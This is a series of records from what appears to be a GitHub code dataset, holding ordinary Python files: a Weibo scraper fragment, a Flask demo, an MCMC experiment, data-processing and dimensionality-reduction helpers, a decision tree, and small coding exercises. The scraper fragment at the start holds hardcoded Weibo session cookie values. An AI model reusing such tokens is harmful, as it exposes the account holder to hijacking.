SUHB=0S7C0yBI9wZgU2; _T_WM=19966017200; SUB=_2A25z7xdRDeRhGeNI4lIS9CzEyzmIHXVRE7kZrDV6PUJbkdAKLRT3kW1NSAqo3lYY96VQ5fuisox-miJqXDQZ8UMP'\n}\npachong = Pacn('瑞幸',headers,20200622,20200622,'pachong.csv')\npachong.run()\n''' \n","repo_name":"caipen/Sentiment-Analysis-on-Weibo","sub_path":"pachong.py","file_name":"pachong.py","file_ext":"py","file_size_in_byte":13594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4067547470","text":"from flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_world(): # put application's code here\n name = request.args.get('name')\n if name is None:\n name = 'World'\n return render_template('index.html', name=name)\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8050)\n","repo_name":"simplydemo/hello-python-flask","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29080515240","text":"from functions import (\n log_continuous_likelihood, log_continuous_target, \n grw, pcn\n)\nfrom utils import initialise_simulation_dataset\nfrom tqdm import tqdm\nimport sys\nimport numpy as np\nimport pandas as pd\nfrom functions import subsample\n\n# For part b extension report \n\nM = 64\nDs = np.linspace(16, 32, 9).astype(int)\n\nell = 0.3\nbeta = 0.02\n\nn_iters = 10000\n\nsubsample_factors = (Ds**2 / M)\n\nfor eD, esf in list(zip(Ds, subsample_factors)):\n eN = eD*eD\n sidx = subsample(eN, esf)\n\n xs, indices, x1s, x2s, i1s, i2s, K, u, subsample_indices, N, M, G, v = \\\n initialise_simulation_dataset(eD, ell, esf)\n\n # Sample u (latent variables - generating function)\n # from Gaussian prior\n z = np.random.randn(N)\n Kc = np.linalg.cholesky(K + 1e-6 * np.eye(N))\n u0 = Kc @ z\n\n X, grw_ac = grw(\n log_continuous_target, \n u0 = u0, \n data = v, \n K = K,\n G = G, \n n_iters = n_iters,\n beta = beta\n )\n\n X, pcn_ac = pcn(\n log_continuous_likelihood, \n u0 = u0, \n data = v, \n K = K,\n G = G, \n n_iters = n_iters,\n beta = beta\n )\n\n print('D = ', eD, 'MH acceptance:', grw_ac, 'pCN acceptance:', pcn_ac)\n","repo_name":"puria-radmard/4m24","sub_path":"question_Be.py","file_name":"question_Be.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35525400084","text":"import csv\n\ndef process_document(f='test_nat_mod.csv'):\n\n data = []\n labels = []\n\n improper_count = 0\n\n with open(f,'r', encoding=\"latin1\") as fh:\n reader_1 = csv.reader(fh,delimiter=',')\n for row in reader_1:\n comment_id = row[0]\n #import pdb;pdb.set_trace()\n hour = row[4].split(' ')[-1].split(':')[0] \n month = row[4].split(' ')[0].split('-')[1]\n comment = row[1].strip().lower()\n comment_parent = row[7].strip().lower()\n author = row[3].strip().lower()\n label = row[-4]\n\n comment_data = comment\n\n if label == '100':\n improper_count+=1\n\n if label in ['100','105']:\n data.append(comment_data)\n labels.append(label)\n\n\n new_data = []\n new_labels = []\n\n for k,comment in enumerate(data):\n if labels[k] == '100':\n new_data.append(comment)\n #new_labels.append(labels[k])\n new_labels.append(0)\n elif labels[k] == '105' and len(new_data) < improper_count:\n new_data.append(comment)\n #new_labels.append(labels[k])\n new_labels.append(1)\n\n return [new_data, new_labels]","repo_name":"githubuser88442/pytorch_practice_projects","sub_path":"TOXIC/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26160713921","text":"import pandas as pd\r\nimport numpy as np\r\nfrom SVM_model import SVM_model\r\nfrom Functions import *\r\nfrom Text_Explanation import *\r\nfrom ILE import *\r\nfrom sklearn.manifold import MDS\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.manifold import TSNE\r\n\r\n\r\ndef extract_vectors(all_data_file, pre_data_file):\r\n\r\n\tpre_data = pd.read_csv(pre_data_file).values\r\n\tall_data = pd.read_csv(all_data_file,header=None).values\r\n\r\n\tX = all_data[:,1:]\r\n\ty = pre_data[:,1] \r\n\tfor val in range(y.shape[0]):\r\n\t\tif y[val] > 0.5:\r\n\t\t\ty[val] = 1\r\n\t\telse:\r\n\t\t\ty[val] = 0\r\n\r\n\r\n\tno_samp = X.shape[0]\r\n\tno_feat = X.shape[1]\r\n\r\n\tempty_row_test = np.zeros((1,no_feat))\r\n\r\n\tchange_vectors = []\r\n\tanch_vectors = []\r\n\r\n\ty_anch = []\r\n\ty_change = []\r\n\t\r\n\tfor s in range(no_samp):\r\n\t\ta_row = np.zeros((no_feat,))\r\n\t\tempty = False\r\n\t\tfor c in range(5,9):\r\n\t\t\tif (pre_data[s][3] == 0):\r\n\t\t\t\tempty = True\r\n\t\t\tif (pre_data[s][c] == -99 or pre_data[s][c] == -9):\r\n\t\t\t\tbreak\r\n\t\t\telse:\r\n\t\t\t\tind = pre_data[s][c]\r\n\t\t\t\ta_row[ind] = 1\r\n\r\n\t\tif not empty:\r\n\t\t\tadd = np.array([pre_data[s][0],pre_data[s][1],pre_data[s][2]])\r\n\t\t\ta_row = np.append(add,a_row)\r\n\t\t\tanch_vectors.append(a_row)\r\n\r\n\t\t\tif y[s] > 0.5:\r\n\t\t\t\ty_anch.append(1)\r\n\t\t\telse:\r\n\t\t\t\ty_anch.append(0)\r\n\r\n\r\n\t\tc_row = np.zeros((no_feat,))\r\n\t\tfor c in range(9,14):\r\n\t\t\tempty = False\r\n\t\t\tif (pre_data[s][4] == 0):\r\n\t\t\t\tempty = True\r\n\t\t\tif (pre_data[s][c] == -99 or pre_data[s][c] == -9):\r\n\t\t\t\tbreak\r\n\t\t\telse:\r\n\t\t\t\tind = pre_data[s][c]\r\n\t\t\t\tchange = pre_data[s][c+5]\r\n\t\t\t\tc_row[ind] = change\r\n\r\n\t\tif not empty:\r\n\t\t\tcdd = np.array([pre_data[s][0],pre_data[s][1],pre_data[s][2]])\r\n\t\t\tc_row = np.append(cdd,c_row)\r\n\t\t\tchange_vectors.append(c_row)\r\n\r\n\t\t\tif y[s] > 0.5:\r\n\t\t\t\ty_change.append(1)\r\n\t\t\telse:\r\n\t\t\t\ty_change.append(0)\r\n\r\n\r\n\tanch_vectors = np.array(anch_vectors)\r\n\tchange_vectors = np.array(change_vectors)\r\n\ty_anch = np.array(y_anch)\r\n\ty_change = np.array(y_change)\r\n\r\n\treturn anch_vectors,change_vectors,y_anch,y_change\r\n\r\ndef anch_distances(anch_vectors, y, directionality):\r\n\t# -- Anchor Distance Martix --\r\n\t# --- Intersection/Union --- \r\n\tno_samp = anch_vectors.shape[0]\r\n\tanch_dist = np.zeros((no_samp,no_samp))\r\n\r\n\r\n\tids = anch_vectors[:,:3]\r\n\tanch_vectors = anch_vectors[:,3:]\r\n\r\n\tfor ts in range(anch_vectors.shape[0]):\r\n\t\tif (ts % 100 == 0):\r\n\t\t\tprint(\"Starting sample\", ts)\r\n\t\ttest_sample = anch_vectors[ts]\r\n\t\tfor cs in range(anch_vectors.shape[0]):\r\n\t\t\tcompare_sample = anch_vectors[cs]\r\n\t\t\t\r\n\t\t\tunion = 0\r\n\t\t\tinter = 0\r\n\r\n\t\t\tfor feat in range(anch_vectors.shape[1]):\r\n\t\t\t\ttest_val = np.float(test_sample[feat])\r\n\t\t\t\tcomp_val = np.float(compare_sample[feat])\r\n\r\n\t\t\t\tif test_val and comp_val:\r\n\t\t\t\t\tinter += 1\r\n\r\n\t\t\t\tif test_val or comp_val:\r\n\t\t\t\t\tunion += 1\r\n\r\n\t\t\tif (union == 0):\r\n\t\t\t\ti_over_u = 0 \r\n\r\n\t\t\telse:\r\n\t\t\t\ti_over_u = np.round(inter/union,3)\r\n\r\n\t\t\tif (directionality and y[ts] != y[cs]):\r\n\t\t\t\ti_over_u *= -1\r\n\r\n\r\n\t\t\tanch_dist[ts][cs] = i_over_u\r\n\t\r\n\tnp.savetxt(\"anchs_no_red_dir_\" + str(directionality) + \".csv\",np.append(ids,anch_dist,axis=1) , delimiter=\",\",fmt='%s')\r\n\t\r\n\t# embedding = MDS(n_components=2)\r\n\t# transformed = embedding.fit_transform(anch_dist)\r\n\r\n\t# all_results = np.append(ids,transformed,axis=1)\r\n\r\n\r\n\t# np.savetxt(\"anchs.csv\", all_results, delimiter=\",\",fmt='%s')\r\n\r\ndef change_distances(change_vectors, y, directionality):\r\n\t# -- Changes Distance Martix --\r\n\tno_samp = change_vectors.shape[0]\r\n\tchange_dist = np.zeros((no_samp,no_samp))\r\n\r\n\tids = change_vectors[:,:3]\r\n\tchange_vectors = change_vectors[:,3:]\r\n\r\n\tfor ts in range(change_vectors.shape[0]):\r\n\r\n\t\ttest_sample = change_vectors[ts]\r\n\t\tif (ts % 100 == 0):\r\n\t\t\tprint(\"Starting sample\", ts)\r\n\t\t\r\n\t\tfor cs in range(change_vectors.shape[0]):\r\n\t\t\tcompare_sample = change_vectors[cs]\r\n\t\t\t\r\n\t\t\tunion = 0\r\n\t\t\tinter = 0\r\n\r\n\t\t\tfor feat in range(change_vectors.shape[1]):\r\n\t\t\t\ttest_val = np.float(test_sample[feat])\r\n\t\t\t\tcomp_val = np.float(compare_sample[feat])\r\n\t\t\t\t\r\n\t\t\t\tif (test_val and comp_val):\r\n\t\t\t\t\tif (abs(test_val)>abs(comp_val)):\r\n\t\t\t\t\t\tif (directionality):\r\n\t\t\t\t\t\t\tinter += comp_val/test_val\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tinter += abs(comp_val/test_val)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tif (directionality):\r\n\t\t\t\t\t\t\tinter += test_val/comp_val\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tinter += abs(test_val/comp_val)\r\n\r\n\r\n\t\t\t\tif (test_val or comp_val):\r\n\t\t\t\t\tunion += 1\r\n\r\n\t\t\tif (union == 0):\r\n\t\t\t\ti_over_u = 0 \r\n\r\n\t\t\telse:\r\n\t\t\t\ti_over_u = np.round(inter/union,3)\r\n\r\n\t\t\tchange_dist[ts][cs] = i_over_u\r\n\r\n\tnp.savetxt(\"changes_no_red_dir_\" + str(directionality) + \".csv\",np.append(ids,change_dist,axis=1) , delimiter=\",\",fmt='%s')\r\n\t\r\n\t# embedding = MDS(n_components=2)\r\n\t# transformed = embedding.fit_transform(change_dist)\r\n\r\n\t# all_results = np.append(ids,transformed,axis=1)\r\n\r\n\t# np.savetxt(\"changes.csv\", all_results, delimiter=\",\",fmt='%s')\r\n\r\ndef perform_pca(file_name, output_file_name):\r\n\tdata = pd.read_csv(file_name,header=None).values\r\n\r\n\tids = data[:,:3]\r\n\tX = data[:,3:]\r\n\r\n\tPCA_model = PCA(n_components = 2, svd_solver = 'full')\r\n\tX_pca = PCA_model.fit_transform(X)\r\n\r\n\toutput = np.append(ids, X_pca,axis=1)\r\n\r\n\tnp.savetxt(output_file_name, output, delimiter=\",\", fmt='%s')\r\n\tprint(\"Done\")\r\n\r\ndef perform_tsne(file_name, output_file_name):\r\n\r\n\tdata = pd.read_csv(file_name,header=None).values\r\n\r\n\tids = data[:,:3]\r\n\tX = data[:,3:]\r\n\r\n\tX_tsne = TSNE(n_components=2, perplexity=100, random_state=11).fit_transform(X)\r\n\r\n\toutput = np.append(ids, X_tsne, axis=1)\r\n\r\n\tnp.savetxt(output_file_name, output, delimiter=\",\", fmt='%s')\r\n\tprint(\"Done\")\r\n\r\ndef reduce_raw_data(data, output_file_name, method = \"PCA\"):\r\n\tprint(\"Before \", data.shape)\r\n\tif (method == \"PCA\"):\r\n\r\n\t\tPCA_model = PCA(n_components = 2, svd_solver = 'full')\r\n\t\tX_2d = PCA_model.fit_transform(data)\r\n\r\n\telif (method == \"TSNE\"):\r\n\t\tX_2d = TSNE(n_components=2, perplexity=100, random_state=11).fit_transform(data)\r\n\t\r\n\t# Additional methods can be added \r\n\t\r\n\telse:\r\n\t\tprint(\"No suitable dimensionality reduction method chosen\")\r\n\r\n\tprint(\"After \", X_2d.shape)\r\n\r\n\r\n\tnp.savetxt(output_file_name+method+\".csv\", X_2d, delimiter=\",\", fmt='%s')\r\n\r\n\r\n\r\n# anch_vectors, change_vectors, y_a, y_c = extract_vectors(\"static/data/final_data_file.csv\",\"static/data/pred_data_x.csv\")\r\n# print(anch_vectors, change_vectors, y_a, y_c)\r\n\r\n# change_distances(change_vectors, y_c, False)\r\n# anch_distances(anch_vectors, y_a, False)\r\n\r\n# perform_pca(\"static/data/anchs_no_red.csv\",\"static/data/anchs_PCA.csv\")\r\n# perform_pca(\"static/data/changes_no_red.csv\",\"static/data/changes_PCA.csv\")\r\n\r\n# perform_pca(\"static/data/anchs_no_red_dir_False.csv\",\"static/data/anchs_PCA_dir_False.csv\")\r\n# perform_pca(\"static/data/changes_no_red_dir_False.csv\",\"static/data/changes_PCA_dir_False.csv\")\r\n\r\n# perform_tsne(\"static/data/anchs_no_red.csv\",\"static/data/anchs_tSNE.csv\")\r\n# perform_tsne(\"static/data/changes_no_red.csv\",\"static/data/changes_tSNE.csv\")\r\n\r\n# perform_tsne(\"static/data/anchs_no_red_dir_False.csv\",\"static/data/anchs_tSNE_dir_False.csv\")\r\n# perform_tsne(\"static/data/changes_no_red_dir_False.csv\",\"static/data/changes_tSNE_dir_False.csv\")\r\n\r\n\r\n","repo_name":"5teffen/ADViCE","sub_path":"WebApplication/distance_calc.py","file_name":"distance_calc.py","file_ext":"py","file_size_in_byte":6989,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"72447963666","text":"import pandas as pd\nfrom dateutil import rrule\nfrom datetime import datetime, timedelta\nimport numpy as np\n\n\nDATE_FORMAT = '%Y-%m-%d'\nDATE_HOUR_FORMAT = '%Y-%m-%d-%H'\n\n\ndef today_start():\n today = datetime.today()\n return today.replace(hour=0, minute=0, second=0, microsecond=0)\n\n\nclass Names:\n\n DELTA = 'DELTA'\n PCT_DELTA = 'PCT_DELTA'\n COUNT = 'COUNT'\n COLOR = 'COLOR'\n\n DAY = 'DAY'\n HOUR = 'HOUR'\n TIME_UNIT = 'CUSTOM__TIME_UNIT'\n DATE = 'DATE'\n HOVER = 'HOVER'\n SESSION = 'SESSION'\n\n\nclass TimePeriods:\n\n YD = 'Yesterday'\n TD = 'Today'\n DBY = 'Day before Yesterday'\n LW = 'Last week'\n WBL = 'Week before last'\n LM = 'Last 30 Days'\n MBL = '30 Days before last'\n\n @staticmethod\n def check_tp(time_period):\n tp_dict = get_tps_vs_dict()\n if time_period not in (list(tp_dict.keys()) + list(tp_dict.values())):\n raise Exception(\"Invalid time_period \" + time_period)\n\n\ndef get_tps_vs_dict():\n vs_map = dict()\n vs_map[TimePeriods.TD] = TimePeriods.YD\n vs_map[TimePeriods.YD] = TimePeriods.DBY\n vs_map[TimePeriods.LW] = TimePeriods.WBL\n vs_map[TimePeriods.LM] = TimePeriods.MBL\n return vs_map\n\n\nclass Period:\n def __init__(self, start: datetime, end: datetime, name):\n self.name = name\n self.start = start\n self.end = end\n\n def get_dates(self):\n return rrule.rrule(rrule.DAILY, dtstart=self.start, until=self.end)\n\n def __str__(self):\n return str(self.start) + '-' + str(self.end)\n\n def get_elps_sec(self):\n return self.end.timestamp() - self.start.timestamp()\n\n\nclass Periods:\n @staticmethod\n def get(tp: str):\n tps = dict()\n tps[TimePeriods.TD] = Period(today_start(), datetime.now(), TimePeriods.TD)\n tps[TimePeriods.YD] = Period(today_start() - timedelta(days=1), today_start(), TimePeriods.YD)\n tps[TimePeriods.LW] = Period(today_start() - timedelta(days=7), today_start(), TimePeriods.LW)\n tps[TimePeriods.LM] = Period(today_start() - timedelta(days=30), today_start(), TimePeriods.LM)\n tps[TimePeriods.WBL] = Period(today_start() - timedelta(days=14), today_start() - timedelta(days=7), TimePeriods.WBL)\n tps[TimePeriods.MBL] = Period(today_start() - timedelta(days=60), today_start() - timedelta(days=30), TimePeriods.MBL)\n return tps.get(tp, None)\n\n @staticmethod\n def get_prev_period(period: Period, name: str = None):\n _elapsed = period.end - period.start\n name = name if name else 'prev_' + period.name\n return Period(period.start - _elapsed, period.start, name)\n\n\nclass SessionBinConfig:\n BIN_HOUR = [0, 4, 8, 12, 16, 20, 24]\n BIN_LABEL = ['Late_Night', 'Early_Morning', 'Morning', 'Noon', 'Evening', 'Night']\n\n\nclass DF:\n\n \"\"\"\n :param date_time_cols expects dict like { column_name : dateformat }\n \"\"\"\n\n def __init__(self, _df: pd.DataFrame, date_time_cols=None, *args, **kwargs):\n self._df = _df\n self.args = args\n self.kwargs = kwargs\n self._dt_cols = date_time_cols\n\n # prepare\n self.__set_dt_details()\n\n def __set_dt_details(self):\n if self._dt_cols is not None and isinstance(self._dt_cols, dict):\n for _col, _fmt in self._dt_cols.items():\n self._df[_col] = pd.to_datetime(self._df[_col], format=_fmt)\n\n def __check_col(self, column_name):\n if column_name not in self._df.columns:\n raise Exception(\"Invalid column_name : \" + column_name)\n\n def __check_date_col(self, column_name):\n self.__check_col(column_name)\n if self._dt_cols is None or column_name not in self._dt_cols.keys():\n raise Exception(\"datetime not configured for column_name : \" + column_name)\n\n def get_df(self):\n return self._df\n\n def get_df_by(self, _time_col, period: Period):\n return self._df[((self._df[_time_col].astype(np.int64) / int(1e6)) >= period.start.timestamp() * 1000) & ((self._df[_time_col].astype(np.int64) / int(1e6)) < period.end.timestamp() * 1000)]\n\n def __get_df_group_count(self, col, _time_col, period: Period):\n _df = self.get_df_by(_time_col, period)\n return _df[[col]].groupby([col]).size().reset_index(name=period.name)\n\n def get_date_trend_df(self, col, _time_col, period: Period, date_time_fmt=DATE_FORMAT):\n _df = self.get_df_by(_time_col, period)\n _df[Names.TIME_UNIT] = _df[_time_col].dt.strftime(date_time_fmt)\n return _df[[Names.TIME_UNIT, col]].groupby([Names.TIME_UNIT, col]).size().reset_index(name=period.name).rename(columns={Names.TIME_UNIT: Names.DATE})\n\n def get_diff_df_by(self, column_name, time_col, current_period: Period, previous_period: Period):\n\n a_df = self.__get_df_group_count(column_name, time_col, current_period)\n b_df = self.__get_df_group_count(column_name, time_col, previous_period)\n\n __act_values = list(set(list(a_df[column_name].unique()) + list(b_df[column_name].unique())))\n m_df = pd.DataFrame(data={column_name: __act_values})\n m_df = pd.merge(m_df, a_df, on=column_name, how='left').fillna(0)\n m_df = pd.merge(m_df, b_df, on=column_name, how='left').fillna(0)\n m_df[Names.DELTA] = m_df[current_period.name] - m_df[previous_period.name]\n m_df[Names.PCT_DELTA] = round((m_df[Names.DELTA] / m_df[previous_period.name]) * 100, 2).replace(np.inf, 100)\n return m_df\n\n def auto_analytics_by(self, col_name, time_column, time_period):\n\n # check args\n self.__check_date_col(time_column)\n\n # time_period handling\n if not (isinstance(time_period, str) or isinstance(time_period, Period)):\n raise Exception('time_period value expected to be str or Period')\n\n a_tp, b_tp = None, None\n\n if isinstance(time_period, str):\n TimePeriods.check_tp(time_period)\n a_tp, b_tp = Periods.get(time_period), Periods.get(get_tps_vs_dict()[time_period])\n\n elif isinstance(time_period, Period):\n a_tp, b_tp = time_period, Periods.get_prev_period(time_period)\n\n m_df = self.get_diff_df_by(col_name, time_column, a_tp, b_tp)\n\n print(m_df)\n\n def get_auto_analytics_field(self, column_name, time_period):\n\n if column_name not in self._df.columns:\n raise Exception(\"Invalid column_name : \" + column_name)\n\n tp_dict = get_tps_vs_dict()\n\n if time_period not in (list(tp_dict.keys()) + list(tp_dict.values())):\n raise Exception(\"Invalid time_period \" + time_period)\n\n def apply_day_session(self, time_column, day=True, session=True, hour=False):\n\n self._df[Names.HOUR] = self._df[time_column].dt.hour\n\n if day:\n self._df[Names.DAY] = self._df[time_column].dt.day_name()\n\n if session:\n self._df[Names.SESSION] = pd.cut(self._df[Names.HOUR], bins=SessionBinConfig.BIN_HOUR,\n labels=SessionBinConfig.BIN_LABEL, include_lowest=True)\n\n if not hour:\n del self._df[Names.HOUR]\n\n","repo_name":"Bhanuchander210/adasher","sub_path":"adasher/data_utils/__util.py","file_name":"__util.py","file_ext":"py","file_size_in_byte":7068,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"40327356680","text":"import pprint\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn import datasets\n\n\ndef calculate_entropy(target_col):\n elements, counts = np.unique(target_col, return_counts=True)\n entropy = 0\n for i in range(len(elements)):\n entropy += (-counts[i] / np.sum(counts)) * np.log2(counts[i] / np.sum(counts))\n return entropy\n\n\ndef gain(data, source_feature, target_feature):\n n_entropy = 0\n values, counts = np.unique(data[source_feature], return_counts=True)\n for i in range(len(values)):\n entropy = calculate_entropy(data.where(data[source_feature] == values[i]).dropna()[target_feature])\n n_entropy += (counts[i] / np.sum(counts)) * entropy\n return n_entropy\n\n\ndef information_gain(df, s_feature, y):\n total_entropy = calculate_entropy(df[y])\n return total_entropy - gain(df, s_feature, y)\n\n\ndef split_information(data, f):\n elements, counts = np.unique(data[f], return_counts=True)\n entropy = 0\n for i in range(len(elements)):\n entropy += (-counts[i] / np.sum(counts)) * np.log2(counts[i] / np.sum(counts))\n return entropy\n\n\ndef gain_ratio(info_gain, data, best_feature):\n ratio = info_gain / split_information(data, best_feature)\n return ratio\n\n\ndef decision_tree(data, original_data, features, target_feature=\"target\", parent=None, level=0):\n if (len(np.unique(\n data[target_feature])) <= 1): # checking if all the values are same if yes then we reached at a leaf\n\n elements, counts = np.unique(data[target_feature], return_counts=True)\n print('Level ', level)\n if elements == 0:\n print('Count of 0 =', np.sum(counts))\n elif elements == 1:\n print('Count of 1 =', np.sum(counts))\n elif elements == 2:\n print('Count of 2 =', np.sum(counts))\n print('Current Entropy is =', calculate_entropy(data[target_feature]))\n print('Reached Leaf Node ')\n print()\n return np.unique(data[target_feature])[0]\n\n elif len(data) == 0: # checking the data is empty or not\n\n return np.unique(original_data[target_feature])\n\n elif len(features) == 0:\n\n return parent\n\n else:\n\n parent_node = np.unique(data[target_feature]) # put all the unique values of target in parent node\n\n values = []\n for ftr in features: # loop over all the features\n v = information_gain(data, ftr, target_feature) # getting list of information gain of all features\n values.append(v)\n\n best_feature_index = np.argmax(\n values) # taking out the index of the feature which contains max information gain\n best_feature = features[best_feature_index]\n\n tree = {best_feature: {}} # i have used dictionaries to show my actual tree\n\n tot_entropy = calculate_entropy(data[target_feature]) # calculated entropy at current node\n\n rat = gain_ratio(max(values), data,\n best_feature) # calculated gain ratio of the features on which we split up on\n\n elements, counts = np.unique(data[target_feature], return_counts=True)\n print('Level ', level) # these all are printing task\n for i in range(len(elements)):\n if elements[i] == 0:\n print('count of 0 =', counts[i])\n elif elements[i] == 1:\n print('count of 1 =', counts[i])\n elif elements[i] == 2:\n print('count of 2 =', counts[i])\n\n print('Current entropy is = ', tot_entropy)\n print('Splitting on feature ', best_feature, ' with gain ratio ', rat)\n\n print()\n\n new_features = features # ---> from here to\n features = []\n for i in new_features:\n # (process to remove the feature from feature list after split\n if i != best_feature:\n features.append(i)\n level += 1\n new_features = None # ---> to here\n\n for vals in np.unique(data[best_feature]): # recursion of all different values in that splitting feature\n\n value = vals\n sub_data = (data[data[best_feature] == value]).dropna()\n\n subtree = decision_tree(sub_data, data, features, target_feature, parent_node, level)\n tree[best_feature][value] = subtree\n\n return tree\n\n\ndef label(val, *boundaries):\n if val < boundaries[0]:\n return 'a'\n elif val < boundaries[1]:\n return 'b'\n elif val < boundaries[2]:\n return 'c'\n else:\n return 'd'\n\n\n# Function to convert a continuous data into labelled data\n# There are 4 labels - a, b, c, d\ndef to_label(df, old_feature_name):\n second = df[old_feature_name].mean()\n minimum = df[old_feature_name].min()\n first = (minimum + second) / 2\n maximum = df[old_feature_name].max()\n third = (maximum + second) / 2\n return df[old_feature_name].apply(label, args=(first, second, third))\n\n\ndef format_data(t, s):\n if not isinstance(t, dict) and not isinstance(t, list):\n print(\"\\t\" * s + str(t))\n else:\n for key in t:\n print(\"\\t\" * s + str(key))\n if not isinstance(t, list):\n format_data(t[key], s + 1)\n\n\ndef load_data():\n iris = datasets.load_iris()\n\n df = pd.DataFrame(iris.data)\n df.columns = [\"sl\", \"sw\", 'pl', 'pw']\n y = pd.DataFrame(iris.target)\n y.columns = ['target']\n # Convert all columns to labelled data\n df['sl_labeled'] = to_label(df, 'sl')\n df['sw_labeled'] = to_label(df, 'sw')\n df['pl_labeled'] = to_label(df, 'pl')\n df['pw_labeled'] = to_label(df, 'pw')\n\n df.head()\n df.drop(['sl', 'sw', 'pl', 'pw'], axis=1, inplace=True)\n df['target'] = y # here i added the target column in the data\n print(df.columns[:-1]) # this gives me the list of all features except target one\n return df\n\n\ndf = load_data()\ntree = decision_tree(df, df, df.columns[:-1]) # print steps\nprint()\npprint.pprint(tree)\nformat_data(tree, 0) # print tree\n","repo_name":"alikafy/iris_classifications","sub_path":"decision-tree.py","file_name":"decision-tree.py","file_ext":"py","file_size_in_byte":5961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73872979664","text":"import sys\n\ndef binary_to_number(b):\n v = 0\n for c in b:\n v *= 2\n if c == \"1\":\n v += 1\n return v\n\n\ndef calc_ones(words):\n one_counts = [0] * word_length\n\n for word in words:\n for i in range(word_length):\n if word[i] == \"1\":\n one_counts[i] += 1\n return one_counts\n\ndef find_rating(words, find_biggest):\n i = 0\n while (len(words) > 1):\n count = len(words)\n one_counts = calc_ones(words)\n if one_counts[i] >= count / 2:\n most_common = \"1\"\n else:\n most_common = \"0\"\n \n if find_biggest:\n words = [w for w in words if w[i] == most_common]\n else:\n words = [w for w in words if w[i] != most_common]\n\n i += 1\n return binary_to_number(words[0])\n\nif __name__ == \"__main__\":\n with open(sys.argv[1]) as f:\n words = [l.strip() for l in f.readlines()]\n\n word_length = len(words[0])\n one_counts = calc_ones(words) \n\n oxygen_rating = find_rating(words, True)\n co2_rating = find_rating(words, False)\n\n print(oxygen_rating)\n print(co2_rating)\n\n gamma = \"\"\n epsilon = \"\"\n\n for c in one_counts:\n if c >= len(words) / 2:\n gamma += \"1\"\n epsilon += \"0\"\n else:\n gamma += \"0\"\n epsilon += \"1\"\n \n gamma = binary_to_number(gamma)\n epsilon = binary_to_number(epsilon)\n\n print(f\"oxy: {oxygen_rating}, co2: {co2_rating}, *: {oxygen_rating*co2_rating}\")","repo_name":"citiral/aoc","sub_path":"2021/day3_3.py","file_name":"day3_3.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5285452977","text":"\"\"\"\nDelete the middle node\n\"\"\"\nimport random\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\ndef getLength(head):\n length = 0\n while head:\n head = head.next\n length += 1\n return length\n\n\n\"\"\"\nTime Complexity: O(N)\nSpace Complexity: O(1)\n\"\"\"\n\n\ndef deleteMiddleNode(node):\n if not node or not node.next:\n return None\n node.val = node.next.val\n node.next = node.next.next\n\n\n# driver function\nif __name__ == \"__main__\":\n ls = [4, 3, 5, 6, 7, 3, 2, 1]\n head = None\n cur = None\n for v in ls:\n if not head:\n head = ListNode(v)\n cur = head\n else:\n n = ListNode(v)\n cur.next = n\n cur = cur.next\n\n num = random.randrange(1, len(ls) - 1)\n cur = head\n while num > 0:\n cur = cur.next\n num -= 1\n\n print(\"delete : \", cur.val)\n deleteMiddleNode(cur)\n\n res = []\n cur = head\n while cur:\n res.append(cur.val)\n cur = cur.next\n\n print(res)\n","repo_name":"luhar63/CTCI-solutions","sub_path":"LinkedList/2.3_deleteMiddleNode.py","file_name":"2.3_deleteMiddleNode.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20378096101","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jan 26 05:04:19 2020\r\n\r\n@author: YAMADA HIDEYUKI\r\n\"\"\"\r\n\r\nimport re\r\nimport os\r\n\r\n\r\n# テキストファイル読み込み部\r\nfilepath = 'fav_href_list.txt'\r\nwith open(filepath, 'r', encoding='utf-8') as f:\r\n text = f.readlines() # テキストファイルを読全てを1行ずつみ込んでリスト形式で格納\r\n\r\n# テキストファイルの読み込み結果をforループで1つずつ取り出してドメイン名だけ取り出す処理\r\nfor url in text:\r\n url_domain2 = re.search(r'https?://[^/]+/', url) # 正規表現でドメイン名のある部分周辺だけを取り出す\r\n if 'https' in url_domain2.group():\r\n url_domain = url_domain2.group()[8:-2] # groupメソッドで値だけを取り出して,文字列の位置を指定して,httpとかの余計な部分をなくす\r\n else:\r\n url_domain = url_domain2.group()[7:-2] # groupメソッドで値だけを取り出して,文字列の位置を指定して,httpとかの余計な部分をなくす\r\n\r\n # ドメイン名のテキストファイルでドメインごとに分けてurlを保存する\r\n t_path = os.path.join('./domain/' + url_domain + '.txt')\r\n with open(t_path, 'a', encoding='utf-8') as t:\r\n print(url[:-2], file=t) # urlに改行文字が含まれているのでそれは[:-2]の部分で取り除いている\r\n","repo_name":"siensyax/fav_img_download","sub_path":"ドメイン名分類パーツ/お気に入りhref仕分け.py","file_name":"お気に入りhref仕分け.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33268317919","text":"import torch\nimport torch.nn as nn\n\n\nclass Flatten(nn.Module):\n def 